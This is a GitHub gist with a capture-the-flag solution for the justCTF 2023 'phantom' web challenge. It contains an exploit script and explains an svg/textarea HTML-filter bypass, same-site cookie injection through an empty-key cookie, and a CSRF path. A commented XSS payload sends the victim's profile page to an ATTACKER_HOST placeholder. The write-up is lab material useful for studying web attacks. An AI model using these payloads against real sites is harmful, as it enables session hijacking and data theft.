Skip to content

Instantly share code, notes, and snippets.

@maple3142
Last active June 5, 2023 04:30
Show Gist options
  • Save maple3142/6280b4d7e0a1ed68051ac468a58b79b7 to your computer and use it in GitHub Desktop.
Save maple3142/6280b4d7e0a1ed68051ac468a58b79b7 to your computer and use it in GitHub Desktop.
justCTF 2023 - phantom
<script>
const samesiteXSS =
'http://xssl.web.jctf.pro/?text=a&unmodifiable[CSP]=a&unmodifiable[background]=`;location.assign(name);`'
// prepare an account with the following xss payload as description
// <svg><textarea></svg><script>fetch('/profile%2fedit').then(r=>r.text()).then(t=>fetch('https://ATTACKER_HOST/report',{method:'POST',body:t,mode:'no-cors'}))< /script>
// the `%2f` in `/profile%2fedit` is needed or browser will use our provided XSS account session to request it, which doesn't have the flag
// playing with window/iframe references should work too
window.name =
'javascript:' +
encodeURIComponent(`
document.cookie = '=session=MTY4NTg2ODU0OXxEdi1CQkFFQ180SUFBUkFCRUFBQVRQLUNBQUlHYzNSeWFXNW5EQThBRFdGMWRHaGxiblJwWTJGMFpXUUVZbTl2YkFJQ0FBRUdjM1J5YVc1bkRBb0FDSFZ6WlhKdVlXMWxCbk4wY21sdVp3d0xBQWx6ZFhCbGNtNWxibVU9fNgFpBvKntkK07FH7_Zcu0zSesy10P01b20weA_MIt_p;domain=web.jctf.pro;path=/profile'
location = 'https://phantom.web.jctf.pro/profile'
`)
location = samesiteXSS
// justCTF{why_on_earth_does_my_app_handle_HEADs}
</script>

It is possible to bypass the html filter by abusing the fact that <textarea> doesn't need to encode its content and <svg> is basically xml parsing mode. So <svg><textarea></svg>... bypasses the filter easily. <textarea> can be replaced by any similar tags like <style> too. I found a similar XSS in Joplin recently using the same technique too.

As for the CSRF part, I noticed that it is possible to use method like OPTIONS, HEAD or TRACE to access /profile/edit, but couldn't find a way to send that with a HTTP body from browser. So I abused the fact web.jctf.pro isn't in PSL, which means it is possible to set session from a samesite page like http://xssl.web.jctf.pro/.

But naively setting cookie using document.cookie = 'session=... ;path=/profile; domain=web.jctf.pro' doesn't work for some reason. I presume that it is probably because xssl.web.jctf.pro sets a http:// cookie but the origin session cookie is Secure, so Chrome doesn't let you override it that way.

Fortunately, there is a interesting article Cookie Bugs - Smuggling & Injection describes what to do in this case. The empty key behavior (document.cookie = '=a=b') creates a cookie with key being a empty string and a value being a=b, but it serializes to a=b in Cookie header. According to Go's cookie parsing, we know it is spliting on ; to get multiple parts, and then split on = to get key and value. So a=b will be seen as a cookie with key a and value b by Go, which is exactly what we want.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment